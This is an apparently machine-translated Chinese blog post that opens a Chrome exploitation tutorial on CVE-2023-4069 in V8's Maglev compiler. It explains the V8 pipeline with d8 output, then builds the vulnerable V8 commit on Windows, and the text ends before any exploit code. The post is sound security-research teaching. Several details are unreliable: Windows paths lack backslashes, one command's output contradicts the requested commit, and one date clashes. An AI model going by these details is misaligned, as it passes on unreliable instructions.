Chrome 漏洞利用简介 – Maglev 版


Chrome 漏洞利用简介 - Maglev 版

Chrome 漏洞利用简介 - Maglev 版

介绍

最初,我打算写一篇关于 Maglev 编译器的简单说明,以及如何将 V8 shellcode 从 Linux 调整到 Windows。但当我开始的时候,项目出乎意料地发展起来。我发现自己深入研究了一些先决条件,比如 V8 管道和 CVE-2023-4069(我们即将探索的漏洞)的根本原因分析。

一开始只是一份简短的备忘录,但很快就展开了更深入的探索,我希望读者能从这些额外的见解中受益。无论如何,目录可以直接引导您找到最吸引您兴趣的部分 🙂

目录

1.介绍

2.Chromium 安全架构

3.V8 管道

  • 解析器

  • 翻译官 – 点火

  • JIT 编译器 – TurboFan

  • Maglev 编译器

4.设置 V8 调试环境

5.CVE-2023-4069 RCA 和演练

6.JIT喷射Shellcode

7.附录:与版本无关的 Shellcode

8.结论

9.外部引用

Chromium 安全架构

在深入了解渲染器进程和 V8 引擎的细节之前,让我们先回顾一下大局。了解 Chromium 的整体架构如何工作将有助于理解我们即将深入研究的所有细节。

Chromium 使用多进程架构将不同的任务分离到不同的进程中。这种分离提高了浏览器的稳定性和安全性,因为一个进程中的问题(例如标签崩溃)不会影响其他进程。

下面的Chromium 项目图像按风险对浏览器的组件进行了概述。

Chrome 漏洞利用简介 - Maglev 版

Chromium 安全架构
在图中,我们看到几种不同的流程类型:
浏览器进程:红色轮廓,它管理用户界面、磁盘和网络 I/O,并充当其他进程的中央协调器。它以完全用户权限运行并管理大多数系统资源,包括用户配置文件和持久数据。
渲染器进程:处理网页渲染和 JavaScript 执行。每个网站或 Web 应用程序通常在自己的渲染器进程中运行,与其他进程隔离。这些进程受到严格的缓解措施(如沙盒)的约束,以确保 Web 内容的安全渲染。
GPU 进程:以绿色表示,它处理与渲染 Web 内容无关的 GPU 任务,从而提高性能和安全性。它以最低权限运行,可高效处理图形密集型任务。
实用程序进程:此进程处理短暂操作,并且可以根据特定功能(例如打印)在沙盒中或非沙盒中运行。
最后,PPAPI(Pepper Plugin API)代理进程和NaCl (Native Client)加载器进程是 Chromium 架构中的两个组件,分别管理浏览器内运行代码的不同方面。
对于每个进程,Chromium 强制执行两项安全措施:沙盒 和最小特权原则。
每个渲染器和插件进程都在沙盒中运行 ,沙盒是一个受限环境,限制了进程读写磁盘、与操作系统交互或通过网络通信的能力。这种遏制策略大大降低了恶意代码逃逸浏览器并影响整个用户系统的风险。
此外,每个进程都以执行其功能所需的最小权限运行。例如,渲染器进程对系统资源的访问权限非常有限,任何需要更多权限的操作(如保存文件)都必须通过浏览器进程,该进程充当安全守门人。
现在让我们把注意力转向这篇博文的主题,我们将仔细研究 Chromium 中的渲染器进程。渲染器进程对于浏览器的安全至关重要,因为它负责绘制网页和执行不受信任的 JavaScript 代码,使其成为漏洞利用的主要目标。
这让我们想到了 V8 引擎,它与渲染器进程有着内在联系。V8是支持该进程的 JavaScript 和 WebAssembly 引擎,用于解析和执行定义用户交互和站点功能的代码。了解V8至关重要,因为这里的任何问题都会直接影响渲染器进程的安全性和稳定性。
让我们更详细地探讨使 V8 Chromium JIT 管道高效的不同组件,并研究其固有的复杂性如何导致类型混淆错误。
V8 管道
V8 在 2008 年最初的设计中 秉承了简洁的理念,仅涉及三个主要步骤。

Chrome 漏洞利用简介 - Maglev 版

2008 年的 V8 管道 – 来源:Google

一切始于输入到编译器管道的 JavaScript 源代码。此 JS 代码首先由解析器处理,解析器检查语法并将其构造为抽象语法树 (AST)。AST 以分层树格式表示程序的语法,每个节点代表源代码中的不同构造。

随后,AST 通过代码生成 (codegen) 过程转换为可执行代码,最初生成半优化的机器代码。此代码已经可执行但尚未完全优化,因此可以快速执行,但效率并不高。

随着网站变得越来越复杂,JavaScript 也变得越来越复杂。因此有必要提高浏览器的性能。

即时 (JIT)编译的理念 有助于满足这些性能需求。这种方法不同于传统编译,传统编译在目标设备上执行代码之前将其转换为机器语言(称为提前编译,即 AOT)。相反,JIT 编译是一种在运行时而不是在执行之前将计算机代码编译为机器语言的技术。

JIT 编译器旨在将编译代码的速度与解释的灵活性相结合,通常用于代码在运行时可能发生变化或需要快速启动时间的环境,例如现代浏览器。

JIT 编译的概念在 90 年代随着 Java 虚拟机 (JVM) 和 .NET 通用语言运行时 (CLR) 等虚拟机环境的兴起而流行起来。这些环境使用 JIT 编译在 .NET 框架中执行独立于平台的代码,例如 Java 字节码或 CIL 代码。

2010 年,第一个 JIT 编译器 Crankshaft 发布,2014 年被更著名、性能更强大的TurboFan所取代。

TurboFan 采用灵活的中间表示,可实现复杂的代码优化。它擅长优化新的语言结构,例如类、解构和默认参数,而其前身 Crankshaft 则难以做到这一点。

在过去十年中,TurboFan 及其对应的解释器Ignition一直是 V8 管道的一部分 。它们共同定义了完善的现代 JIT 管道,如下所示。

Chrome 漏洞利用简介 - Maglev 版

近年来的 V8 管道 – 资料来源:Google

Ignition 在 V8 管道中扮演着初始角色,它将 JavaScript 代码编译为字节码,而不是直接将其作为机器代码执行。这种字节码是源 JavaScript 的更紧凑、执行速度更快的形式,与完整的机器代码编译相比,它有助于缩短启动时间并减少内存使用量。

Ignition 还会在解释字节码时收集类型反馈和执行统计信息,这对于后续的优化阶段至关重要。这些数据可以让 TurboFan 了解代码的实际使用情况,从而做出更明智的优化决策。当特定函数或代码块被确定为性能关键时,TurboFan 就会接管,利用获得的数据将这些部分编译成优化的机器代码。

这样,Ignition 就为 TurboFan 的优化奠定了基础,在 V8 执行 JavaScript 的初始执行速度和长期性能效率之间取得了平衡。

现在让我们通过提供所涉及的每个步骤的示例来探索 V8 编译器管道,从解析器开始。

解析器

我们提到第一步涉及解析器。但解析器到底做什么呢?

  • 词法分析(标记化) 解析过程的第一步是词法分析,其中 V8 引擎将原始 JavaScript 代码转换为标记。标记是程序的最小有意义单位,例如关键字(if、return 等)、标识符、运算符和文字。此步骤涉及逐个字符扫描代码,并根据 JavaScript 语法规则将这些字符分组为标记。

  • 语法分析标记化之后,语法分析阶段开始,根据 JavaScript 的语法规则分析标记以构建解析树。此解析树表示代码的语法结构。语法分析检查标记的排列是否符合语言的语法(在 ECMAscript中定义),以确保代码在语法上正确。如果有任何语法错误(如缺少括号或误用关键字),通常会在此阶段检测并报告这些错误。

  • 解析树到抽象语法树 (AST) 的 转换 尽管解析树是代码结构的详细表示,但它通常包含语法的每个细节,可能很冗长,并且包含执行不必要的冗余信息。因此,下一步是将此解析树转换为抽象语法树 (AST),这是语法结构的更紧凑和更有意义的表示。

为了说明这个概念,让我们考虑这个简单的 JavaScript 代码片段:

Copy codelet sum = a + b;

简单的 JS 变量

在第一步即词法分析(或标记化)过程中,引擎读取 JavaScript 代码并将其分解为有意义的片段,称为标记。对于上面的代码片段,派生的标记将是:

  • let:表示变量声明的关键字。

  • sum:用作变量名的标识符。

  • =:赋值运算符。

  • a:代表变量的标识符。

  • +:加法算术运算符。

  • b:代表变量的另一个标识符。

  • ;:标记语句结束的分号。

然后在此阶段根据每个标记的类型(关键字、标识符、操作符等)对其进行分类。

在第二步语法分析中,解析器使用标记根据语言的语法构建解析树。该树表示代码的语法结构,确保标记的排列遵循 JavaScript 的 ECMAscript 规则。对于我们的代码片段,解析树将具有类似于这样的层次结构:

  • 语句(变量声明)

  • 关键字:let

  • 标识符:sum

  • 赋值运算符:=

  • 表达:

  • 标识符:a

  • 运算符:+

  • 标识符:b

  • 语句结束:;

该解析树检查语法是否有效,例如确保标识符正确放置在赋值运算符和加法运算周围。

第三步也是最后一步,包含所有句法细节的解析树将被转换为抽象语法树或 AST,该树对于执行来说更加抽象和精简。

在 AST 中,可能会省略分号等不必要的语法细节,而更多地关注理解代码逻辑和流程所必需的核心组件。

我们的示例的 AST 可能看起来像:

  • 变量声明

  • 标识符:sum

  • 赋值表达式

  • 二进制表达式
  • 左:标识符a

  • 运算符:+

  • 右:标识符b

这个 AST 专注于逻辑连接:sum被声明并赋值为a + b的结果。它抽象出了所使用的特定语法(如 ‘let’ 或 ‘;’),以专注于操作及其操作数。

探索了解析器和 AST 背后的理论之后,我们现在可以使用 V8 调试器来验证它。

我们将在熟悉 V8 调试工具 d8的同时执行此操作,这将是我们最终利用的目标。

d8 shell 主要用于调试和测试 V8 引擎功能,并支持各种命令行标志,可以深入了解 V8 对 JavaScript 代码的处理,例如显示抽象语法树 (AST) 或跟踪函数优化。

假设我们已经设法在 Windows 上正确编译了 V8(如果没有,跳至 设置 V8 调试环境)它应该包含文件夹下 d8 调试器的可执行版本 v8outx64.debug。

我们的测试代码如下所示,它是一个简单的 JavaScript 函数,返回对象属性的平方。

function square(obj) {    return obj.x * obj.x;}square({x:42});

返回对象属性值的平方的 JS 函数。

我们可以将其内容保存为“square.js”,并使用–print-ast标志调用 d8 实例,以便打印出 AST 并从 d8 内部加载保存的 JS 文件。

C:devv8v8out>x64.debugd8.exe --print-astV8 version 11.5.150.16
d8> load('square.js')...[generating bytecode for function: square]--- AST ---FUNC at 15. KIND 0. LITERAL ID 1. SUSPEND COUNT 0. NAME "square". PARAMS. . VAR (000002363D807850) (mode = VAR, assigned = false) "obj". DECLS. . VARIABLE (000002363D807850) (mode = VAR, assigned = false) "obj". RETURN at 28. . MUL at 41. . . PROPERTY at 39. . . . VAR PROXY parameter[0] (000002363D807850) (mode = VAR, assigned = false) "obj". . . . NAME x. . . PROPERTY at 47. . . . VAR PROXY parameter[0] (000002363D807850) (mode = VAR, assigned = false) "obj". . . . NAME x...

使用 d8 生成 AST

输出非常长,因此我们只描述第一个 AST 定义并分解该输出的关键部分以了解它们代表什么。

  • FUNC节点描述带有参数obj 的函数square。

  • PARAMS和DECLS节点定义用作函数参数的变量obj 。

  • RETURN节点表示函数的返回语句。

  • return 语句下方的MUL节点表示乘法运算,表示函数返回两个值的乘积。

  • PROPERTY节点两次访问参数obj的属性x,这是乘法运算的要求。

所有 AST 表达式语句都可以在 V8 代码库的标题定义下找到 。


The Interpreter – Ignition (翻译官 – 点火

在有效构建抽象语法树 (AST) 之后,下一阶段涉及 V8 解释器,恰当地命名为 Ignition。

Ignition采用 AST 并系统地遍历它以生成 字节码。

字节码是引擎可以直接执行的一组较低级别、更简单的指令。与更抽象且作为代码结构高级表示的 AST 不同,字节码更接近机器码,因此执行速度更快、效率更高。

在生成字节码之后,AST 不再必要,因此会被删除以释放资源。然后字节码进入执行阶段,V8 的虚拟机将执行它以执行原始 JavaScript 代码定义的操作。

虚拟机操作的一个关键方面涉及寄存器(具体标记为 r0、r1、r2 等)和累加器寄存器的使用。累加器是几乎所有字节码执行的核心,尽管它并未直接在字节码指令本身中指定。例如,在字节码指令Add r1中,寄存器 r1 中的值被添加到累加器中当前保存的值。

为了更好地理解,让我们看看 V8 调试器下真实的字节码是什么样的。

要使用 V8 引擎的 d8 shell 打印出 JavaScript 函数的字节码,我们可以使用该–print-bytecode标志。此标志允许我们观察 V8 为特定 JavaScript 函数生成的字节码。

让我们重新回顾一下之前研究过的 JavaScript 平方函数。

我们可以通过传递具有小整数( SMI)属性的对象来调用平方函数。

d8> load ('square.js')[generated bytecode for function:  (0x03bb0011a759 <SharedFunctionInfo>)]...d8> square({x:42});[generated bytecode for function:  (0x03bb0011b66d <SharedFunctionInfo>)]Bytecode length: 15Parameter count 1Register count 3Frame size 24Bytecode age: 0         000003BB0011B6FA @    0 : 21 00 00          LdaGlobal [0], [0]         000003BB0011B6FD @    3 : c4                Star1         000003BB0011B6FE @    4 : 7d 01 02 29       CreateObjectLiteral [1], [2], #41         000003BB0011B702 @    8 : c3                Star2         000003BB0011B703 @    9 : 62 f9 f8 03       CallUndefinedReceiver1 r1, r2, [3]         000003BB0011B707 @   13 : c5                Star0         000003BB0011B708 @   14 : aa                ReturnConstant pool (size = 2)000003BB0011B6C9: [FixedArray] in OldSpace - map: 0x03bb00000089 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x03bb0011a6cd <String[6]: #square>           1: 0x03bb0011b6b5 <ObjectBoilerplateDescription[3]>Handler Table (size = 0)Source Position Table (size = 0)[generated bytecode for function: square (0x03bb0011a915 <SharedFunctionInfo square>)]Bytecode length: 13Parameter count 2Register count 1Frame size 8Bytecode age: 0         000003BB0011B7EA @    0 : 2d 03 00 01       GetNamedProperty a0, [0], [1]         000003BB0011B7EE @    4 : c5                Star0         000003BB0011B7EF @    5 : 2d 03 00 01       GetNamedProperty a0, [0], [1]         000003BB0011B7F3 @    9 : 3a fa 00          Mul r0, [0]         000003BB0011B7F6 @   12 : aa                ReturnConstant pool (size = 1)000003BB0011B7BD: [FixedArray] in OldSpace - map: 0x03bb00000089 <Map(FIXED_ARRAY_TYPE)> - length: 1           0: 0x03bb00002bb9 <String[1]: #x>Handler Table (size = 0)Source Position Table (size = 0)1764...

使用 d8 生成字节码

从调试器中我们可以看到Ignition生成了两个字节码函数。

第一个函数负责设置上下文并使用特定对象调用square函数。第二个函数是square函数本身的字节码,用于计算对象的x属性的平方。让我们详细探索每个部分。

如上所述,第一个字节码块是准备环境并调用square函数:

  • LdaGlobal [0], [0]:将全局变量(平方 函数)加载到累加器中。第一个[0]是常量池中属性名称的索引或引用。常量池是一个表,其中包含各种常量,例如字符串、数字和字节码使用的其他元数据。这里的[0]指的是常量池中存储属性名称的位置。最右边的[0] 是 V8 引擎内部用于优化目的的索引或提示。

  • Star1:将累加器中的值存储到寄存器r1中。

  • CreateObjectLiteral [1], [2], #41:创建一个对象文字,在本例中为对象{x: 42}。常量[1]和 [2]指向对象的模板信息。

  • Star2:将新创建的对象存储到寄存器r2中。

  • CallUndefinedReceiver1 r1, r2, [3] :以r2作为参数({x: 42}对象)调用存储在r1(square)中的函数 。

  • Star0和Return:将函数调用的结果存储在 r0中并返回该值。

第二个字节码块表示平方函数执行,对对象的x属性求平方:

  • GetNamedProperty a0, [0], [1] :从作为参数传递的对象中获取名为x 的属性并将其存储在累加器中。

  • Star0:将属性值存储到r0中。

  • GetNamedProperty a0,[0],[1]:再一次,因为它是一个平方运算,所以它将相同的值加载到累加器中。

  • Mul r0, [0] :将r0中的值乘以累加器中存储的值。在这种情况下,相乘的值相同。

  • 返回:返回存储在累加器中的乘法结果。

了解了 Ignition 如何通过字节码处理 JavaScript 代码的初始执行后,现在是时候探索 V8 管道的最后一部分:TurboFan 了。

JIT 编译器 – Turbofan

简单来说,TurboFan的作用就是将字节码转换为高度优化的代码。

它 最初的 设想是为了加速在 asm.js上运行的应用程序,后来得到了改进,以优化许多其他需要更好性能的用例。

除了生成字节码之外,V8 中的 Ignition 引擎还会收集有关代码运行方式的信息,这有助于它了解如何在未来的运行中更快地访问代码的各个部分。例如,如果一段代码以相同的方式多次访问某个属性,Ignition 会使用一种称为内联缓存的技术记住这一点,以避免重复搜索。

Ignition 在代码执行期间收集的信息保存在反馈向量(曾称为类型反馈向量)中。这是一个附加到函数的特殊数据存储区域,它针对不同类型的反馈(如位集、其他函数或类类型)设置了不同的部分,以满足特定的优化需求。

TurboFan 也会使用这些信息,它可以根据过去的操作预测将看到的数据类型,从而进一步优化代码,让 JavaScript 运行得更快。这个过程称为 推测优化。

在发出最佳机器代码之前,TurboFan 必须知道如何理解 Ignition 收到的反馈向量。它通过构建一个名为Sea of Nodes的图来实现这一点。

节点之海是程序代码的基于图形的中间表示 (IR)。在此表示中,程序被可视化为互连节点的网络(或“海洋”),其中每个节点代表操作或值(如算术运算、常量、变量等)。此图形结构超越了传统的线性执行路径,而是专注于操作之间的关系和依赖关系。

TurboFan 通过多个优化阶段利用这种表示,例如死代码消除、常量折叠和类型降低。深入研究 Sea of Nodes 和优化超出了本博文的范围,但鼓励读者进一步探索该主题。

关于 Turbofan 的优秀资源包括 Jeremy Fativeau 的Turbofan 简介 和 Jack Halon 的关于 Chrome 开发的博客文章系列。

回到我们的 Turbofan JIT 示例,让我们分析一下 V8 管道如何从 Ignition 切换到 Turbofan。

在下面的示例中,hot_square` 函数在循环中被反复调用,由于执行频率高,因此表明它是一个“热”函数。经过几次迭代后,V8 的运行时分析器将其标识为优化候选。

function hot_square(obj) {    return obj.x * obj.x;}
for (let i = 0; i < 999999; i++) { hot_square({x: i});}

使 square 函数变得“热”

V8 利用“映射”或隐藏类来管理和优化对象属性。映射是一种内部表示,它定义对象的布局(即结构和属性类型)。当使用对象调用hot_square时,V8 使用映射来跟踪这些对象的结构。如果传递给函数的所有对象都具有相同的结构(例如,仅具有属性x 的{x: i}对象),V8 会使用此假设来优化函数。

通过使用相同的映射标记hot_square处理的所有对象,TurboFan 可以加快obj.x的访问和计算速度,特别是通过消除对对象结构的重复检查。此优化路径允许obj.x * obj.x更有效地执行乘法 ()。

为了在实践中测试这一点,我们现在可以使用标志调用 d8 –print-opt-code来获取 TurboFan 优化的代码,然后加载之前的hot_square JS 代码。

C:v8_devv8v8out>x64.debugd8.exe --allow-natives-syntax --print-opt-codeV8 version 11.5.150.16d8> load ('square.js')...--- End code ------ Raw source ---function hot_square(obj) {    return obj.x * obj.x;}
for (let i=0; i < 999999; i++) { hot_square({x:i});}
--- Optimized code ---optimization_id = 1source_position = 0kind = TURBOFANstack_slots = 14compiler = turbofanaddress = 000003870011AE81
Instructions (size = 576)
[Prologue]00007FFDB81441C0 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]00007FFDB81441C7 7 483bd9 REX.W cmpq rbx,rcx00007FFDB81441CA a 740d jz 00007FFDB81441D9 <+0x19>00007FFDB81441CC c ba82000000 movl rdx,000000000000008200007FFDB81441D1 11 41ff9500500000 call [r13+0x5000]00007FFDB81441D8 18 cc int3l00007FFDB81441D9 19 8b59f4 movl rbx,[rcx-0xc]00007FFDB81441DC 1c 4903de REX.W addq rbx,r1400007FFDB81441DF 1f f7431700000020 testl [rbx+0x17],0x2000000000007FFDB81441E6 26 0f8594e16f27 jnz 00007FFDDF842380 (CompileLazyDeoptimizedCode) ;; near builtin entry00007FFDB81441EC 2c 55 push rbp00007FFDB81441ED 2d 4889e5 REX.W movq rbp,rsp00007FFDB81441F0 30 56 push rsi00007FFDB81441F1 31 57 push rdi00007FFDB81441F2 32 50 push rax00007FFDB81441F3 33 ba58000000 movl rdx,000000000000005800007FFDB81441F8 38 41ff9500500000 call [r13+0x5000]00007FFDB81441FF 3f cc int3l00007FFDB8144200 40 4883ec18 REX.W subq rsp,0x1800007FFDB8144204 44 488975b0 REX.W movq [rbp-0x50],rsi00007FFDB8144208 48 493b65a0 REX.W cmpq rsp,[r13-0x60] (external value (StackGuard::address_of_jslimit()))00007FFDB814420C 4c 0f86d2000000 jna 00007FFDB81442E4 <+0x124>
[Check value is a SMI and checks map]00007FFDB8144212 52 488b4dc8 REX.W movq rcx,[rbp-0x38]00007FFDB8144216 56 f6c101 testb rcx,0x100007FFDB8144219 59 0f85b4010000 jnz 00007FFDB81443D3 <+0x213>00007FFDB814421F 5f 81f97e841e00 cmpl rcx,0x1e847e00007FFDB8144225 65 0f8c1e000000 jl 00007FFDB8144249 <+0x89>...
[Divide by two to get SMI]00007FFDB8144249 89 488bf9 REX.W movq rdi,rcx00007FFDB814424C 8c d1ff sarl rdi, 1[Perform Square Operation]00007FFDB814424E 8e 4c8bc7 REX.W movq r8,rdi00007FFDB8144251 91 440fafc7 imull r8,rdi...
[Multiply by two to get doubled SMI]00007FFDB8144292 d2 488bcf REX.W movq rcx,rdi00007FFDB8144295 d5 03cf addl rcx,rdi

检查 Turbofan 优化代码

为了更好地理解,我在每个 JIT 编译代码部分的开头都添加了方括号注释。

第一部分从地址00007FFDB81441C0开始是序言,它主要检查代码是否仍然合理,如果不是,它就会退出。

然后,在第二个块(00007FFDB8144212)上,我们将第一个(也是唯一一个)参数加载到 RCX 中,并通过testb指令测试其最低有效位(lsb)是否设置为 1 。

出于性能原因,V8 中的指针被 标记为,这意味着任何 V8 指针的最后一位都设置为 1。另一方面,SMI 的最后一位为 0。这意味着,为了避免 SMI 的最低有效位设置为 1,除非它们正在执行操作,否则它们的值需要在内存中加倍。

这正是这里发生的事情:在内存地址 00007FFDB814424C处,sarl(右移算术)运算将 SMI 的值向右移动一位,有效地将其除以二以将其返回到其原始值。

然后使用imull运算对存储在RDI中的实际 SMI 值与之前存储在R8中的相同值进行平方计算。

最后,将减半后的 SMI 值加到自身上,将双倍 SMI 值恢复到RCX中。

我们可以涵盖有关 TurboFan 优化和反优化过程如何工作的更多方面和细节,但这可能需要一到两篇额外的博客文章。    

以上就是我们对 V8 管道的简要概述, Addy Osmani绘制的这张图表可以很好地概括这一点。

Chrome 漏洞利用简介 - Maglev 版

V8 管道摘要

“节点之海”方法提高了 TurboFan 优化 JavaScript 执行的能力,尤其是在与 V8 的解释器 Ignition 配合使用时。这种组合旨在通过首先快速解释代码,然后优化最常用的部分来实现最佳性能。

然而,尽管 Ignition+Turbofan 背后有着先进的技术,优化过程也并非一帆风顺。这导致了 Maglev 编译器的开发,我们将在下文中进行探讨。

Maglev 编译器

2021 年,V8 团队推出了 Sparkplug,这是一款基线即时 (JIT) 编译器,旨在提高 Ignition 的性能,而无需 Turbofan 所需的大量优化开销。

尽管这些编译器功能强大,但它们都有局限性。Ignition 可以执行字节码,但缺乏高需求场景所需的性能。TurboFan 虽然能够显著优化性能,但编译速度较慢,因此不适合运行时间不够长而无法从其优化中获益的函数。此外,新推出的 Sparkplug 比 Ignition 速度更快,但由于其简单性和单次编译方法,性能增强的上限较低。

2023 年 12 月,Maglev被引入以解决 Sparkplug 和 TurboFan 之间的性能差距。Maglev 生成的代码比 Sparkplug 更快,编译速度也比 TurboFan 快得多。它通过针对那些热度不足以 进行TurboFan 优化但仍能从某种程度的优化中受益的代码来实现这一点。

Maglev 的设计融合了几个关键元素。与 Sparkplug 的单遍方法不同,Maglev 使用传统的静态单赋值 (SSA) 中间表示。

采用 SSA 后,Maglev 的编译过程分为两个阶段。第一阶段,Maglev 根据之前生成的 SSA 节点构建图表 。第二阶段,Maglev 优化 Phi 值,进一步完善编译。

Phi 值 (或 phi 节点)用于代码的中间表示 (IR),用于管理变量,这些变量可能根据执行期间的控制流路径而具有不同的值。在程序执行可能遵循多条路径的情况下,这些节点对于正确处理控制流和变量分配至关重要。

当控制流中出现分支(例如if-else 语句)时,phi 节点会根据所采用的分支来决定使用哪个值。

例如,考虑一个简单的场景,其中变量x在 if-else 块中获取不同的值:

if (condition) {  x = 1;} else {  x = 2;}// Use x here

Phi 节点示例代码

在 IR 中,phi 节点将表示 if-else 块之后的x值,确保根据所采取的路径使用正确的值(1 或 2)。

在预处理阶段,Maglev 通过分析控制流和变量分配来确定需要 phi 节点的位置。此预处理允许 Maglev 以一种方式创建 phi 节点,从而能够在一次前向传递中生成 SSA 图,而无需稍后“修复”变量。

从 Chrome 版本 114 开始默认启用 Maglev,截至 2023 年更新的 V8 管道总结如下图所示。

Chrome 漏洞利用简介 - Maglev 版

V8 2023 管道 – 来源:Google 设计文档

在更好地了解 Maglev 在 V8 管道中的作用后,让我们深入了解这篇博文的核心:分析影响 Maglev 的错误。但首先,让我们通过准备 V8 调试环境来做好准备。

设置 V8 调试环境

为了进一步挖掘漏洞细节并进行根本原因分析,我们首先需要一个可用的调试环境。让我们探索如何为易受攻击的版本设置定制的 V8 环境。

可以在物理机或开发虚拟机上设置环境 。我个人更喜欢使用物理机,因为它在编译大量 V8 源代码时性能更好。选择目标环境后,我们需要安装最新的 Visual Studio 2022 社区版。社区版是免费的,满足调试 V8 所需的所有要求。

从 Visual Studio 安装程序中,选择以下两个工作负载:

  • 使用 C++ 进行桌面开发

  • Python 开发

从“单个组件”窗格中,选择以下项目:

  • 适用于最新 v143 构建工具的 C++ ATL(x86 和 x64)

  • 适用于最新 v143 构建工具 (x86 和 x64) 的 C++ MFC

  • 适用于 Windows 的 C++ Clang 编译器(17.0.3)

  • MSBuild 对 LLVM (clang-cl) 工具集的支持

  • 适用于 Windows 的 C++ CMake 工具

  • 适用于 Windows 的 Git

  • Windows 11 SDK(10.0.22621.0)

接下来,我们需要安装Windows 11 SDK调试工具。

下载后,运行安装程序文件winsdksetup.exe并安装,确保包含“Windows 调试工具”。安装后,您可以在安装目录中找到调试工具C:Program Files (x86)Windows Kits10Debuggers

现在已经安装了所有 Windows 开发先决条件,我们可以安装 V8 开发工具了。

我们可以C:v8_dev在根驱动器下创建一个文件夹,在那里我们可以安装所有必要的 V8 依赖项和源代码。

从提升的命令提示符导航到该文件夹并 git clone Depot Tools

C:v8_dev> git clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitCloning into 'depot_tools'...remote: Sending approximately 49.80 MiB ...remote: Counting objects: 9, doneremote: Finding sources: 100% (9/9)remote: Total 59597 (delta 42743), reused 59594 (delta 42743)Receiving objects: 100% (59597/59597), 49.78 MiB | 11.15 MiB/s, done.Resolving deltas: 100% (42743/42743), done.

下载 Depot 工具

Depot Tools 是一组脚本和工具,旨在管理 Chromium 相关项目的开发工作流程。这些工具有助于获取源代码、管理依赖项、构建项目和运行测试。其中一些工具包括用于同步依赖项的 gclient 、用于构建的ninja和用于项目生成的gn 。

然后,我们可以在PATH系统变量的开头添加 depot tools 文件夹以及两个用户变量 DEPOT_TOOLS_WIN_TOOLCHAIN和vs2022_install。我们将它们设置为 0和 VS2022 安装位置C:Program FilesMicrosoft Visual Studio2022Community

我们可以通过在同一个提升的命令 shell 中粘贴以下命令来实现这一点。

setx PATH "C:v8_devdepot_tools;%PATH%" /Msetx vs2022_install "C:Program FilesMicrosoft Visual Studio2022Community"setx DEPOT_TOOLS_WIN_TOOLCHAIN "0"

添加必要的环境变量

一旦设置了变量,我们就可以移动到仓库工具子文件夹并运行gclient命令,这可能需要一段时间才能完成。

C:v8_devdepot_tools> gclientUpdating depot_tools...Downloading CIPD client for windows-amd64 from https://chrome-infra-packages.appspot.com/client?platform=windows-amd64&version=git_revision:200dbdf0e967e81388359d3f85f095d39b35db67...WARNING: Your metrics.cfg file was invalid or nonexistent. A new one will be created.Usage: gclient.py <command> [options]
Meta checkout dependency manager for Git.
Commands are: config creates a .gclient file in the current directory...
Options: --version show program's version number and exit -h, --help show this help message and exit -j JOBS, --jobs=JOBS Specify how many SCM commands can run in parallel; defaults to 20 on this machine -v, --verbose Produces additional output for diagnostics. Can be used up to three times for more logging info. --gclientfile=CONFIG_FILENAME Specify an alternate .gclient file --spec=SPEC create a gclient file containing the provided string. Due to Cygwin/Python brokenness, it can't contain any newlines. --no-nag-max Ignored for backwards compatibility.

运行 gclient 命令

gclient命令是 Depot Tools 的一部分,用于管理和同步 Chromium 及相关项目的依赖项。它会获取源代码、检出依赖项的正确版本并设置开发环境。

如果没有遇到错误,我们可以确认 Python 3 仓库工具安装优于默认系统安装。

C:v8_devdepot_tools> where python3C:v8_devdepot_toolspython3.batC:Usersuf0AppDataLocalMicrosoftWindowsAppspython3.exe

验证 Python3 路径优先顺序

从v8_dev文件夹中,我们现在可以创建一个v8子文件夹并使用fetch命令检索 V8 源代码。

C:v8_dev>mkdir v8 && cd v8

C:v8_devv8> fetch v8Updating depot_tools...Running: 'C:Usersuf0AppDataLocal.vpython-rootstorepython_venv-ffl9mmbr4c2o2io44cqtfhe7oscontentsScriptspython3.exe' 'C:v8_devdepot_toolsgclient.py' rootRunning: 'C:Usersuf0AppDataLocal.vpython-rootstorepython_venv-ffl9mmbr4c2o2io44cqtfhe7oscontentsScriptspython3.exe' 'C:v8_devdepot_toolsgclient.py' config --spec 'solutions = [ { "name": "v8", "url": "https://chromium.googlesource.com/v8/v8.git", "deps_file": "DEPS", "managed": False, "custom_deps": {}, },]...Running hooks: 100% (26/26), done.Running: git config --add remote.origin.fetch '+refs/tags/*:refs/tags/*'Running: git config diff.ignoreSubmodules dirty

获取 V8 代码

提取了 V8 的源代码后,我们现在准备通过 git 检查出存在 CVE-2023-4069 且尚未修补的易受攻击的版本。

根据提交的Chromium bug,该问题已在11.5.150.16版本中进行了测试,并在5315f073233429c5f5c2c794594499debda307bd提交上进行了测试。因此,我们可以从新建的v8文件夹中按如下方式 git checkout 到它。

C:v8_devv8> cd v8

C:v8_dev2v8v8> git checkout 5315f073233429c5f5c2c794594499debda307bdUpdating files: 100% (4074/4074), done.Previous HEAD position was 26d63123203 Revert "[heap][handles] Revise parking invariants for direct handles"HEAD is now at 4c11841391c [heap] Incremental marking tracing improvements

检查 V8 是否为易受攻击的版本

接下来,我们需要运行gclient sync -D命令来验证源代码是否处于干净状态,删除存储库未跟踪的任何文件并确保所有依赖项都与指定的提交匹配。

C:v8_devv8v8> gclient sync -DUpdating depot_tools...Syncing projects: 100% (29/29), done.

WARNING: 'v8toolsprotoc_wrapper' is no longer part of this client.It is recommended that you manually remove it or use 'gclient sync -D' next time.

...Downloading https://commondatastorage.googleapis.com/chromium-browser-clang/Win/clang-llvmorg-17-init-10134-g3da83fba-1.tar.xz .......... Done.Running hooks: 100% (32/32), done.

使用 gclient 更新依赖项

我们获取了 DEPS 文件中列出的所有必要的依赖项,检查了这些存储库的适当版本,并应用了任何所需的配置。

有了正确的易受攻击的源代码和依赖项后,现在就可以编译 V8 了。我们将通过 gm.py Python 包装器工具进行编译,并将架构/构建类型指定为参数。

由于 Maglev 编译器仅在发布版本中可用,因此我们必须指定x64.release标志。

C:v8_devv8v8> python3 toolsdevgm.py x64.release# mkdir -p outx64.release# echo > outx64.releaseargs.gn << EOFis_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = trueuse_goma = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truev8_enable_verify_heap = truedcheck_always_on = falseEOF# gn

gen outx64.releaseDone. Made 190 targets from 103 files in 2429ms# autoninja -C outx64.release d8ninja: Entering directory `outx64.release'[1998/1998] LINK d8.exe d8.exe.pdbDone! - V8 compilation finished successfully.

编译 V8

